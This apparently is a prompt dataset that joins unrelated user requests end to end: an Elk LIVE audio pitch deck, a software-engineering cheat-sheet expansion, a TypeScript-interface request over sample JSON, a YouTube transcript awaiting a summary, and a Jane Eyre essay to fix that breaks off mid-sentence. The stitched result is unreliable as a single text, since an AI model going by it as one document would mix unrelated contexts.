MANUFACTURERS\nPOWERED by Elk\nELK BRIDGE HW DEVICE\n\nThe problem Elk is solving:\nStandard audio systems add at least \n10-15 ms latency on each end\n“Real-time” threshold (20-30ms)\nINTERNET\nROUTER\nCOMPUTER\nAUDIO INTERFACE\nAUDIO INTERFACE\nCOMPUTER\nROUTER\n10-15 ms\nLittle room for \nnetwork comms.\n10-15 ms\n\nElk LIVE’s workflow\n“Real-time” threshold (20-30ms)\n18-28ms left for high-quality network communications\n1ms\n1ms\nSpeed of light is the only limit!\nElk LIVE offsets any local latency and \x0bdramatically optimizes network communication \x0bthrough advanced ECC algorithms\nROUTER\nINTERNET\nROUTER\nLIVE BRIDGE\x0bINTERFACE\nLIVE BRIDGE\x0bINTERFACE\n15\n\nAdding ELK Live as software\nReduces latency significantly. This allows for use cases that feels like real-time and online collaboration megatrends in audio\n“Real-time” threshold (20-30ms)\nINTERNET\nROUTER\nCOMPUTER\nAUDIO INTERFACE\nAUDIO INTERFACE\nCOMPUTER\nROUTER\n3-4 ms\nMore room for network comms.\n3-4 ms\nExample using Elk LIVE desktop software \x0bto decrease latency even on existing HW. \n\nElk OS\nWorld’s fastest low-latency \nAudio OS\n\nElk Audio Linux OS is the perfect solution for an industry that is in transformation: musical instrument and audio gadgets, ensuring <1ms latency over general purpose CPUs\nElk Live \x0bHW + SW\nA suite of tools that improves the audio experience on any type of computer or handheld device\nCloud \x0bCollaboration \nTool suite\nA cloud solution for online collaboration of DAWs, music instruments and audio solutions.\nSummary of\x0bOur Products\n\nMore About\x0bElk LIVE \x0b(Bridge & Use Cases)\n\nA new standard for next generation’s audio devices\nAt core is the Elk Audio OS which is an ultra-low latency sound processing operating system. \nThe Elk Audio OS is enabled in the stand-alone hardware Elk LIVE Bridge which lets musicians connect all their Instruments. \nElk Audio OS can also easily be implemented in any audio device and put to use with our service. \nAt center for the user is the Elk LIVE app which lets you connect and play live over the internet like you’re in the same room. \n\nMeet the new Elk LIVE Bridge\n\nMeet the new Elk LIVE Bridge\nFront Panel\nRear Panel\n\nElk LIVE is your everywhere live rehearsal space, studio and stage.\x0bFor those reuniting with the high school band (like our chairman Ludvig). And for passionate young musicians, dreaming to make it big. And Queen (yes, Brian May actually has our gear).\nSetup live performances and interact with your audience.\nPlay live together with your band or people you find in the Elk Community.\nCreative space to explore a track from a first rough idea to the finished recording.\nLive rehearsal space.\nLive studio.\nLive stage.\nYour everywhere live rehearsal space, studio and stage.\nChange 3rd image (more online)\n\nMake rehearsal hours last way longer by getting that live experience from your home studio.\nConnect with your band or musicians that are invited to a session (up to 25 participants)\nHost spontaneous sessions where other musicians in the community are invited to join. \nHost live sessions anytime, from anywhere for anyone. Setup and share link in a click.\nAdd a high-quality drum machine to substitute your drummer or get effect plugins from the in-product store. \nJoin a choir, but without having to go to that dodgy garage.\nAre you a music teacher or a school? Offer classes and get paid from wherever.\nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\n\nA distributed yet fully functional \x0bway of work for any musician.\nProduce music live with a distributed way of work\nInvite others to join your creative process.\nAdd instruments or effect plugins from the in-product store.\nAutomatically upload multiple tracks in the cloud to your favorite online DAW (Soundtrap, Soundation,...) for mastering or publish directly to Spotify or similar. \nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\n\nA distributed yet fully functional \x0bway of work for any musician.\nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\nForeigner band \x0b(80+ million albums sold) powered by Elk \x0bsong writing session\n\nMakes performing live easy, \x0binteractive and monetizable\nSetup live performances that enables interactive experiences with your audience or your Patreons.\nShare to all live streaming platforms.\nPromote your gig to the community and in social.\nThe audience is invited connect their video to share their experience with the band and others watching, further adding to the experience.\nSell tickets to your shows (for the band’s bank account or to support a cause).\nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\n\nMain benefits for key target users: interviews and survey 2020-2021\nWhy users can't wait to get their hands on Elk LIVE?\nHaving fun!\nNo commuting with large gear\nNo renting rehearsal rooms\nMeeting new people\nBe able to pursue way more musical projects\n\nAmateur musicians\nEducation\nProfessional musicians\nSupporting schools to have remote learning opportunities\nMaking possible remote rehearsal among students\nEncouraging collaboration among schools\nAllowing schools to increase their geographical reach\nMasterclasses with remote based visiting teachers\nRemote music production\nProviding expensive studio gear remotely “as a service” powered by Elk’s remote MIDI features\nRecord albums remotely\nEngaging more professional musicians avoiding to commute to studios\nReal-time audio recording\nReal-time audio-video streaming over many social platforms" +'Now please expand on this cheat sheet, in the same descriptive format, with sections and topics clearly categorized, in conjunction with the information from the previous cheat sheet re-posted here:\n\nMotivation for Process Models\n\nSoftware Process Model: Framework for organizing and managing software development activities.\nOverview of Process Models\n\nSoftware Development Process Models:\nWaterfall model: Linear, sequential approach; each phase must be completed before moving to the next.\nIncremental model:\na. Continuous Integration Model: Integrate and test code changes frequently.\nb. Multiple Releases: Deliver product in smaller, incremental releases.\nSpiral model: Iterative process, includes risk assessment and management.\nRational Unified Process model: Iterative, use-case driven framework.\nEntry and Exit Criteria: Define when a phase or task starts and ends.\nAgile Methodologies\n\nProblems with "Traditional" Processes: Rigid, slow to respond to change.\nExample Agile Methodologies: Scrum, Kanban, XP (eXtreme Programming).\nXP\'s Core Values: Communication, simplicity, feedback, courage, respect.\nXP\'s Fundamental Principles: Rapid feedback, assumption of simplicity, incremental change, embracing change, quality work.\nXP\'s "Process": Iterative, incremental, test-driven approach.\nAgile vs. Non-Agile: Agile focuses on flexibility, collaboration, and customer satisfaction.\nTest-Driven Development (TDD)\n\nWrite tests before writing code; refactor code for passing tests.\nTool Support for Software Engineering\n\nCASE: Computer-Aided Software Engineering tools to automate activities.\nTools for Software Engineering Activities: IDEs, version control systems, build tools, etc.\nVersion Control Systems\n\nCentralized vs. Distributed: Single server (e.g., SVN) vs. distributed repositories (e.g., Git).\nGit Basics\n\nBasic git operations: clone, add, rm, commit, push, pull, status, blame, bisect, etc.\nMerge conflicts: Resolve when multiple changes conflict.\nBranches: Separate lines of development.\n.gitignore: Ignore specified files/directories in version control.\nPull request: Request to merge changes from one branch to another.\nProcess Models Recap\n\nSelecting Process Models: Choose based on project needs, team size, and flexibility.\nAndroid\n\nAndroid Software Stack: OS, middleware, and app layers.\nAndroid Studio: Official IDE for Android development.\nUses Gradle build system by default.\nAndroid Basics\n\nLearn by creating a basic app: Activities, Widgets, and UI components.\nAndroid SDK: Software Development Kit for Android app development.\n\nAndroid Project\n\nAndroid Manifest file: XML file for app configuration and component declaration.\nResource files: Images, layouts, strings, etc.\nDesigning the UI: Use typical Android UI elements.\nAndroid Activity: Represents a single screen with a user interface.\nCallbacks: Methods called in response to events.\nModel-View-Controller: Separation of data, presentation, and user interaction logic.\n\nEvent-Driven Programming\n\nEvent-Driven vs. Algorithm-Driven: Reacting to events vs. sequential execution.\nGUI Event-Driven Programming: Handling GUI events with listeners and handlers.\nbuild.gradle Files\n\nProject-level: Configuration for the entire project.\nModule-level: Configuration for individual modules.\nAndroid Apps Lifecycle: Sequence of states an app goes through during execution.\n\nActivities and Intents\n\nUsing Android Intents: Start/stop activities, pass data, and return results.\nAndroid Activity Lifecycle: States an activity goes through during execution.\n\nCreating Activity Class: Extend AppCompatActivity and implement required methods.\n\nExample onCreate() Method\n\nElements in onCreate() Example: Set content view, initialize UI components, and set event listeners.\nConnecting UI and Activity: Use findViewById() to reference UI elements.\n\nPreparation for Requirement Engineering: Process to gather, analyze, and document software requirements.\n\nMajor Requirements Engineering Activities\n\nRequirements Elicitation: Collecting requirements from stakeholders.\nAnalysis: Requirements Categorization and Prioritization.\nRequirements Definition/Prototyping/Review: Define, create prototypes, and review requirements.\nRequirements Documentation: Detail requirements in a clear, concise, and organized manner.\nEstablishing Requirement Traceability: Track relationships between requirements and other artifacts.\nRequirements Prototyping: Create a working model of the software.\nRequirement Specification: Document detailed, complete, and consistent requirements.\nReview of Agile Model: Agile focuses on flexibility, collaboration, and customer satisfaction.\n\nBehavior-Driven Development (BDD): Agile approach using natural language scenarios to describe software behavior.\n\nUser Stories for Requirements\n\nUser stories: Express application requirements in agile processes.\n"Connextra" format: As a [role], I want [feature] so that [benefit].\n"SMART" User Stories: Specific, Measurable, Achievable, Relevant, Time-bound.\nAcceptance Tests: Define criteria for user story completion.\nMapping User Stories to Acceptance Tests: Relate user stories to test scenarios.\nScenarios - Format: Given/When/Then.\nCreate Scenarios for User Stories.\nGherkin format: Structured language for defining scenarios.\nUI Requirements: Use "Lo-Fi" sketches, storyboards, and prototypes.\n\nUI Sketches: Visual representation of UI elements.\nUI Sketches and Wireframes: More detailed representation of UI design.\nStoryboard: Sequence of UI sketches to represent user interaction.\nFrom UI Sketches to Storyboards and Lo-Fi Prototype: Create low-fidelity prototypes.\nWhy "Lo-Fi" Storyboards and UI Sketches and Prototypes? Fast, cost-effective, and easy to modify.\nMeasuring Productivity\n\nVelocity: Measure of work completed in a given time period.\nUser Story Burndown Charts: Track progress on user stories over time.\nWhat is Software Quality?\n\nConforms to requirements (validation), fit to use (verification), quality assurance, and quality control.\nError-Detection Techniques: Testing, inspections/reviews, static analysis, formal methods.\nError vs. Fault vs. Failure: Error (human action), Fault (incorrect program behavior), Failure (observable deviation from expected behavior).\n\nLimitation of Testing: Cannot prove the absence of faults, only their presence.\n\nWhat is Tested (Type of Tests): Unit, integration, system, acceptance, etc.\n\nTesting Methods: Glass-box (white-box), black-box, and combinations.\n\nExample Testing Methods: Equivalence Class Partitioning, Boundary Value Analysis, Path Analysis/Control Flow Testing, Combinations of Conditions, Guideline testing.\n\nUnit/Functional Testing: Test individual components or functions.\n\nAssertion: Check if a condition is true.\nUnit/Functional Testing Methods: Test specific functionality and expected outcomes.\nTest-Driven Development: Write tests before writing code, refactor code for passing tests.\n\nCommon Test Coverage Levels: Method, call (entry/exit), statement, branch, and path coverages.\n\nModified Condition/Decision Coverage (MCDC): Measure of the effectiveness of test cases in exercising different combinations of conditions in decision structures.\n\nAchieving Test Coverage: Design tests to cover various aspects of the code.\n\nTypes of test execution approaches:\n\nRegression Testing: Re-running tests to ensure changes didn\'t break existing functionality.\nContinuous Integration Testing: Integrate and test code changes frequently.\nInspections and Reviews:\n\nReview: Examine artifacts to identify defects.\nWalkthrough: Present artifacts to team members for feedback.\nSoftware inspection: Formal process of reviewing artifacts.\nInspections vs. Testing: Inspections identify defects in artifacts; testing identifies faults in code execution.\n\nExercise: Design Test Cases: Create test cases based on requirements and test techniques.\n\nEquivalence Class Partitioning: Divide input domain into equivalent classes.\n\nEquivalence Class Partitioning: Heuristics: Use rules of thumb to identify classes.\n\nTest-Driven Development (TDD):\n\nTDD High-Level Workflow: Write test, write code, refactor.\nRED-GREEN-REFACTORING: Write a failing test, make it pass, improve code.\nTools for TDD:\n\nJUnit: Java testing framework.\nJUnit Tests: Write and execute test cases.\nWrite a Simple Test Case: Define test methods with assertions.\nTypes of Tests:\n\nSystem or Acceptance Test: Verify the system meets requirements.\nIntegration/system testing: Test interactions between components.\nModule or Functional Test: Test individual modules or functions.\nUnit testing: Test individual units of code.\nTest Case and Running Test Case: Create test cases with expected outcomes and execute them.\n\nComponents of a Test Case: Test inputs, expected outputs, and test procedure.\n\nAndroid UI Testing:\n\nEspresso: Android UI testing framework.\nViewMatchers: Identify UI elements.\nViewActions: Perform actions on UI elements.\nViewAssertions: Verify UI element states.\nTesting Scenarios with Espresso: Write and execute UI tests.\nBasic Espresso Test: Create a simple test with onView, perform, and check.\nUsing Espresso: Preparation and Steps: Set up testing environment, write and run tests.\nA Simple User Story: Define a user story for testing.\nTesting a Scenario:\nonView: Find a UI element.\nperform: Execute an action on the UI element.\ncheck: Verify the expected outcome.\n\nBe descriptive in explaining the concepts, and categorize the topics/sections for easier comprehension.' +'create me a typescript interface for the following response \n{\n "status": "Ok",\n "code": 200,\n "data": [\n {\n "\\_id": "63dfd2406eb589180cb7145f",\n "\\_projectId": "63b277f28535fcb954fc262a",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "\\_fileId": "63dfd23e6eb589180cb7145c",\n "\\_geoDataFileId": "63dfd2406eb589180cb7145e",\n "status": "active",\n "caption": "Image Title",\n "capturedAt": "1970-01-01T00:00:00.000Z",\n "createdAt": "2023-02-05T15:58:56.975Z",\n "updatedAt": "2023-02-14T08:32:35.427Z",\n "file": [\n {\n "\\_id": "63dfd23e6eb589180cb7145c",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "src": "s3",\n "status": "active",\n "visibility": "public",\n "createdAt": "2023-02-05T15:58:54.256Z",\n "updatedAt": "2023-02-05T15:58:56.869Z",\n "ext": "jpg",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63dfd23e6eb589180cb7145c.jpg"\n }\n ],\n "geoData": [\n {\n "\\_id": "63dfd2406eb589180cb7145e",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "status": "active",\n "src": "s3",\n "visibility": "public",\n "createdAt": "2023-02-05T15:58:56.942Z",\n "updatedAt": "2023-02-05T15:58:56.942Z",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "alt": "63dfd23e6eb589180cb7145c",\n "ext": "json",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63dfd23e6eb589180cb7145c.json"\n }\n ]\n },\n {\n "\\_id": "63f5bb8188a54e66673bb8e3",\n "\\_projectId": "63b277f28535fcb954fc262a",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "\\_fileId": "63f5bb7188a54e66673bb8e0",\n "\\_geoDataFileId": "63f5bb8188a54e66673bb8e2",\n "status": "active",\n "caption": "Test video drone",\n "capturedAt": "2023-02-21T00:00:00.000Z",\n "createdAt": "2023-02-22T06:51:45.451Z",\n "updatedAt": "2023-02-22T06:51:45.451Z",\n "file": [\n {\n "\\_id": "63f5bb7188a54e66673bb8e0",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "src": "s3",\n "status": "active",\n "visibility": "public",\n "createdAt": "2023-02-22T06:51:29.470Z",\n "updatedAt": "2023-02-22T06:51:45.407Z",\n "ext": "mp4",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bb7188a54e66673bb8e0.mp4"\n }\n ],\n "geoData": [\n {\n "\\_id": "63f5bb8188a54e66673bb8e2",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "status": "active",\n "src": "s3",\n "visibility": "public",\n "createdAt": "2023-02-22T06:51:45.414Z",\n "updatedAt": "2023-02-22T06:51:45.414Z",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "alt": "63f5bb7188a54e66673bb8e0",\n "ext": "json",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bb7188a54e66673bb8e0.json"\n }\n ]\n },\n {\n "\\_id": "63f5bc7e88a54e66673bb8ea",\n "\\_projectId": "63b277f28535fcb954fc262a",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "\\_fileId": "63f5bc6e88a54e66673bb8e7",\n "\\_geoDataFileId": "63f5bc7e88a54e66673bb8e9",\n "status": "active",\n "caption": "test",\n "capturedAt": "2023-02-21T00:00:00.000Z",\n "createdAt": "2023-02-22T06:55:58.155Z",\n "updatedAt": "2023-02-22T06:55:58.155Z",\n "file": [\n {\n "\\_id": "63f5bc6e88a54e66673bb8e7",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "src": "s3",\n "status": "active",\n "visibility": "public",\n "createdAt": "2023-02-22T06:55:42.912Z",\n "updatedAt": "2023-02-22T06:55:58.108Z",\n "ext": "mp4",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bc6e88a54e66673bb8e7.mp4"\n }\n ],\n "geoData": [\n {\n "\\_id": "63f5bc7e88a54e66673bb8e9",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "status": "active",\n "src": "s3",\n "visibility": "public",\n "createdAt": "2023-02-22T06:55:58.119Z",\n "updatedAt": "2023-02-22T06:55:58.119Z",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "alt": "63f5bc6e88a54e66673bb8e7",\n "ext": "json",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bc6e88a54e66673bb8e7.json"\n }\n ]\n }\n ]\n}' +'Title: "(332) Why You Should Create Content in 2023 [Naval Ravikant, Chamath Palihapitiya, MrBeast] - YouTube"\nVideo Transcript: "the new oil is ideas It\'s All Digital all the new fortunes are being created in idea space in fact if you\'re starting out today as a young ambitious person you don\'t learn real estate you don\'t learn coal and oil mining you don\'t go into extraction of physical resources to create wealth you go into idea space you go into programming books movies blogs and podcasts and building robots which are mostly intellectual property underneath I would focus on the content creator side of things because I believe that\'s where the puck is going that\'s a much more important shift in how we all consume information content and are entertained I really tend to believe as you\'ve probably gotten a sense of sort of patterns and probabilities and if you said to meth probabilistically answer where where are we going in apps and social experiences what I would say is Lex we spent the first decade building platforms and getting them to scale and if you want to think about it again back to sort of this poker analogy others mistakes minus your mistakes is the value well the value that was captured was trillions of dollars essentially to Apple and to Google and they did that by basically um attracting billions of monthly active users to their platform then this next way were the apps Facebook qq10 Tick Tock Twitter Snapchat that whole panoply of apps and interestingly they were in many ways an atomized version of the platforms right they sat on top of them they were an ecosystem participant but the value they created was the same trillions of dollars of Enterprise Value billions of monthly active users well there\'s an interesting phenomenon that\'s kind of hiding in plain sight which is that the next most obvious Atomic unit are content creators now let me give you two examples Lex Friedman this random crazy guy uh Mr Beast you know Jimmy Donaldson just the two of you alone add it up okay and you guys are going to approach in the next five years a billion people the only thing that you guys haven\'t figured out yet is how to capture trillions of dollars of value now maybe you don\'t want to and maybe that\'s not your State admission right right but let\'s just look at Mr Beast alone because he is trying to do exactly that probably yeah and I think Jimmy is going to build an enormous business but if you take Jimmy and all of the other content creators right you guys are atomizing what the apps have done you\'re providing your own curated news feeds you\'re providing your own curated communities you\'re allowed you let people move in and out of these things in a very lightweight way and value is accruing to you so the honest answer to your question is I would focus on the content creator side of things because I believe that\'s where the puck is going that\'s a much more important shift in how we all consume information content and are entertained it\'s through Brands like you individual people that we can humanize and understand are the filter like we get into this model of I must work for other people work my way up the ladder uh I must like do what that person is doing to make money but really today in society you get rewarded for Creative work for creating something brand new that Society didn\'t even know yet that it wanted it doesn\'t know how to get other than through you so the most powerful money makers are actually individual brands people like yourself or Elon or Kanye or Oprah or Trump right these are individual Brands eponymous name brands who themselves are leveraged like you\'re leveraged you have podcast media going out to everybody that\'s leveraged the podcast work for you when you sleep they have knowledge that nobody else has which is your knowledge is the knowledge of being Joe Rogan I mean who else is a UFC fighter and a commentator and a podcaster and a comedian and you know interested in all these things and knows all these people can\'t replace you so we have to pay you what you\'re worth and it was I never fought in the UFC though oh you didn\'t okay sorry um or you know whatever you\'re you\'re involved in that whole scene you just have a unique set of skill sets so because of this unique what I call specific knowledge because of the accountability that you have with your name because the leverage that you have through your media you\'re a money making machine you\'re like I\'m sure at this point I could make you start over tomorrow wipe out your bank account you\'d be rich again in no time because you have all the skill sets so once people have those skill sets and the beauty is the way you\'ve done it is you don\'t have any competition there\'s no substitution if Joe Rogan were to disappear off the air tomorrow it\'s not like random podcaster number 12 would step in and fill that thing no it\'s it\'s just gone so the way to get out of that competition trap is actually to be authentic the way to retire is actually to find the thing that you know how to do better than anybody and you know how to do that better anyway because you love to do it no one can compete with you if you love to do it be authentic and then figure out how to map that to what Society actually wants apply some leverage put your name on it so you take the risks but you gain the rewards have ownership and equity in what you do and then just crank it out then new oil is ideas It\'s All Digital all the new fortunes are being created in idea space in fact if you\'re starting out today as a young ambitious person you don\'t learn real estate you don\'t learn coal and oil mining you don\'t go into extraction of physical resources to create wealth you go into idea space you go into programming books movies blogs and podcasts and building robots which are mostly intellectual property underneath so even as a human civilization we\'re moving away from Conquest to physical resources and moving much more into trading of ideas I think four or five years from now there\'s gonna be a lot of articles about creators who are you know you will there will be billionaire creators right a handful of them you know yeah you\'ll just start seeing it more and more and more the direct to Consumer with your influence especially with the data Darkness thing that\'s going on with like you can\'t track right yeah it used to be really easy to just easy to find audiences it\'s not as easy to find it if you don\'t have it can you explain that the date of Darkness basically yeah you could track people you know you could Facebook collected everything so if you want if you had a widget and you wanted to find people who would want to buy that widget it was pretty easy because they give you all the data and they say I love widgets and here\'s my birthday and here are the other things I like it\'s really easy to find those audience now with the date of Darkness where you can\'t be tracked and stuff and cookie policy it\'s harder to find those people and so I was always like I cannot believe Brands pay me as much as they do to do these Integrations you know before I had my own business and now that I have my own business I\'m like those sobs were ripping me off oh you know what I mean it\'s like when you have your own audience and your own company you can pitch then it\'s like oh like yeah I was making them more money than they were paying me and they you know what I mean and then and sometimes the other thing with like well it didn\'t perform as well as we wanted it\'s like no dude I know that\'s not true now you know this is the kind of Entrepreneurship or or product Market fit flipped on its head where you know previously someone would create crunch labs they would say okay I have these I want to teach kids how to engineer now I need to go find an audience for them but now it\'s the inverse where it\'s hey I have this massive audience interested in building and Engineering let me build a company around that premise which is which is I think why we\'re heading towards billionaire yeah creators I agree what\'s the best thing to start doing on YouTube whatever you love Whatever Gets you excited gets you out of the bed in the morning that\'s the type of videos you should be making what are you genuinely curious and passionate about I mean um people on YouTube get views for like the strangest things you know what I mean like I bet you if we like there\'s someone who\'s making a living painting bowling balls I don\'t know but like you know there\'s this one board game I love playing and I was you know watching a tutorial watching some videos on it it\'s like not even that popular of a board game and the guy making the videos um was like a school teacher and like in one of the videos he mentioned how his channel on just this simple board game was doing so well that he was able to like quit his job as a teacher and and he went full time making videos about this board game you know what I mean and that\'s like that\'s one of those things where like you know if he was being over analytical people would be like don\'t don\'t make videos on a board game who cares about that board game but it\'s what he loved and it\'s what he was passionate about and so that pushed him to grind and putting the effort and you know he found an audience and some yeah my answer is make videos on whatever you love and you\'ll make it a lot further it\'s the same thing like like don\'t you know people say don\'t do YouTube for money and the thing is it\'s not like wanting money isn\'t gonna cause you to fail but if that\'s your focus it\'s like um I mean set aside money related videos like Graham Steven and or Stefan and all them but it\'s just if that\'s your focus you\'re not gonna put in as many hours and you\'re not gonna obsess as much than if it was something that you genuinely did as a hobby and and loved creating reflections another perspective that I have found very useful is from Alex ormosi he argues that just like in the past fortunes were made on oil today\'s fortunes are made on attention since anyone can build an audience thanks to the infinite leverage of the internet and you build an audience by being authentic to yourself by doing what you love and pursuing your genuine curiosity and that will naturally bring you authentic ideas which then you can package in a digital format to then be consumed by anyone on the internet who enjoys your ideas and your work in my opinion this is why Navarro account and Alex hermosi have said that ideas and attention are the new oil because once you have an audience and the attention it is relatively easy to monetize through ads Revenue brand deals and affiliate marketing or even create your own business which could solve the most common need of your audience and you wouldn\'t have to spend a penny on marketing on this YouTube channel in particular the content is just slides that I create from the Nugget that I pick to help people understand more easily these ideas a 65 percent of the general population are visual Learners including me and I make all of my slides and also my thumbnails on canva which is an awesome tool because you can essentially leverage over the designs of millions of Independent Artists who Supply their creative work to the platform and if you want to learn how I personally make my thumbnails on canva you can take my free course that I just created I will show you from scratch how to create a thumbnail I will also show you all the tricks that I have learned over two years of making videos on YouTube and also you will learn how to use canvas creative leverage in general to make cool slides on YouTube so if you want to check out my course just go to the first link in the video description it is free of charge and I will only earn a commission if you pay for canva pro which is the premium version of kamba and with my link you can get a 30 day free trial but if you don\'t want to try the premium version that\'s also perfectly fine because in the course I will show you some workarounds whenever I\'m using exclusive kamba raw features so I hope to see you in the course"\nVideo Summary:' +'Please fix this essay: Jane Eyre (Argument) In “Jane Eyre” we are introduced to a girl that is faced with a lot of challenges. These challenges influence her in many ways to her decisions that she has made throughout the novel. Going from facing her parent’s death and growing up as an orphan who is raised by a cruel aunt, to growing up learning how to raise herself and find happiness through rough times. Even dealing with the decision of possibly having to let go of the man she is in love with because of his dishonesty. Most of all she is challenged in choosing what is more important to her to stay independent or to kill her loneliness with a man that she is in love with named Rochester, with the risks of him being a false appearance to what she met him as. The difference between loneliness and independence for Jane is loneliness is her feeling of emotions that helps her achieve independence which is providing for herself, and creating stability to seek happiness. Jane is being raised at a place called Gateshead by the Reed’s, a very wealthy family. She is sent there by her kind uncle Reed after her parents die from a disease called typhus. While she is there she is mistreated by her cruel aunt Reed. When a fight breaks out between a cousin and her she is punished for throwing a book at his face and is blamed for the cause of it. Her aunt places her in a room referred to as the “red room” where her uncle dies, and while she is in there she believes that she sees his ghostly spirit and it frightens her into a shock and she passes out. This sets Jane off and she is facing a problem with feeling that she is singled out in the family and wants to neglect them because of her mistreating. Although there are some people who are nicer to her that work in Gateshead, her aunt gives her a title of being a liar from all the false statements that Jane makes to them. I believe that she is feeling this way because she has lost respect for her aunt Reed and really wants to neglect her. Jane says “I am glad that you are no relation of mine. I will never call you aunt again as long as I live. I will never come to visit you 2 when I am grown up; and if anyone asks me how I liked you, and how you treated me, I will say the very thought of you makes me sick, and that you treated me with miserable cruelty.” (95) Mrs. Reed’s reaction was shocking, but Jane was entitled to her own opinion and that is how she felt about her aunt that promised to take good care of her when her parents were dying. Jane’s actions show that she wants to leave and she already has her mind made up that she is going to leave but doesn’t know when. This is the set off to Jane and her structuring life to growing up being independent. Jane is struck with news that she will be sent off to school to a place called Lowood. She meets a seemingly nice principal named Mr. Brocklehurst before attending and she thinks that this is going to be the beginning of a possible happy life until she arrives and sees otherwise. Jane quickly meets a girl that she becomes really close with at Lowood that sticks with her through humiliation that she goes through at school named Helen. When Helen lets her know that the school she is at is a school for charity maintained for female orphans, you can imagine the thoughts that were going through her head that she was not wanted at Gateshead. She is a young girl that just feels alone in the world that she lives in. This influenced her to grow up being independent as well, with the guidance of her strong faith in God and her religion to keep her going. She uses her faith as guidance to where she will continue her life and move forward to what she feels God wants her to do. While she was at school the Reed’s sent a message with the Principal that Jane was a compulsive liar and that she was pretty much unmoral. Jane realizes that she is at a really strict school and when a event happened that Jane was accused for Mr. Brocklehurst put Jane on a pedal stool and told everyone that she was a liar and to not associate with her. Though Helen stuck with her and attempted to lift her spirits telling her that most of the girls felt pittier for her than looking at her as guilt Jane still feels alone. 3 When Helen soon dies from consumption Jane is further more upset than anything and feels that it is not meant for her to have anyone close in her life. Jane quotes to herself “I remembered descending that hill at twilight: an age seemed to have elapsed since the day which brought me first to Lowood; and I had never quitted it since. My vacations had all been spent at school: Mrs. Reed had never sent for me to Gateshead; neither she nor any of her family had ever been to visit me. I had no communication by letter or message with the outer world.”(151) Jane is reminiscing her past and this is symbolizing her loneliness, she is further more believing that it is meant for her to be alone in the world that she is living in and that her independence was created from this. The difference of her feeling alone is to fulfill her happiness and her independence is to assure herself that she can still make it without depending on anyone. She grows in to a woman that wants to have her own stableness. What’s bizarre about this quality of Jane is that she lives in a era that women do not work to have their own stableness unless they inherit it. Women were known to depend on their husband to take care of them and their families. Later Jane grows up and moves away from Lowood to a place called Thornfield where she is starting her life and tutors a girl named Adele. While she is there, she is introduced to a man named Rochester who is uncharacteristic when he first meets her, but eventually pulls the attention out of Jane with his strong personality. Jane eventually finds herself attracted and falling for Rochester after saving his life from a fire. “And was Mr. Rochester now ugly in my eyes? No, reader: gratitude, and many associations, all pleasurable and genial, made his face the object I best liked to see; his presence in a room was more cheering than the brightest fire.”(220) she is showing that her feelings for Rochester is there and even though she may have seen some faults in him the actual attention she had from him made her feel wanted. Something that she has 4 not felt in a long time, the fact that it was an event that caught her off guard she refuses to let her guard down immediately but she will cherish the moments she gets from his attention. The feeling of being lonely has started to fade and she realizes that the attention she gets from him makes her feel happy. “But I believed that his moodiness, his harshness, and former faults of morality had their source in some cruel cross of fate. I believed he was naturally a man of better tendencies, higher principles, and purer tastes than such as circumstances had developed, education instilled, or destiny encouraged.”(220) I believe that this is faith in Jane’s personality, and the past that she came from where people who has mistreated her had never gave her the time or belief that they had a better side of them. Rochester with some faults still has a better side and can still cheer her up with just associating makes him potentially tolerant to Jane. Jane has the ability to consider Rochester’s faults because she mentions when talking to herself that she would be willing to satisfy his grief, whenever he might be moody she has the heart of a teddy bear. “I cannot deny that I grieved for his grief, whatever that was, and would have given much to assuage it.” (220) Why would someone who has never been treated good by someone she loved be willing to fix what she does not necessarily like? Jane’s feign for happiness is followed by her obsession of attention and satisfying from the absent of loneliness which Rochester shows her these qualities. Meanwhile as Jane is asked to join a party that is filled with elegant and aristocratic guest. Blanche Ingram and her mother are ahead of the party members and they treat Jane with distain and cruelty, Jane does not take this well and leaves in tears before she is stopped by Rochester who catches her down emotions. He lets her leave because she is upset but he tells her that he wants her to come by the drawing room every evening during his guests company at Thornfield. “ Well, to-night I excuse you; but understand that so long as my visitors stay, I expect you to appear in the drawing-room every evening: it is 5 my wish; don’t neglect it. Now go, and send Sophie for Adele. Goodnight my ---“ He stopped, bit his lip, and abruptly left me.” (259) I believe Jane catches on to this as she might have enjoyed this ever more than she speaks right away. Jane knows that Rochester is showing affection and cares about her and to see her on a everyday occasion. This is the affection that makes Jane feel less lonely and makes her happy inside. Jane desperately travels back to Gateshead when she hears her aunt Reed is dying, while she is there she is presented with a old letter and news that she has family that wants to adopt her and share with her some of their wealth, that she later gets in the novel. She is away for a couple of months and gets news that Rochester had went to buy a new carriage, something intended for a marriage. Jane’s feelings for Rochester are addressed more by the narrator when she returns back to Thornfield. She shocks herself when she 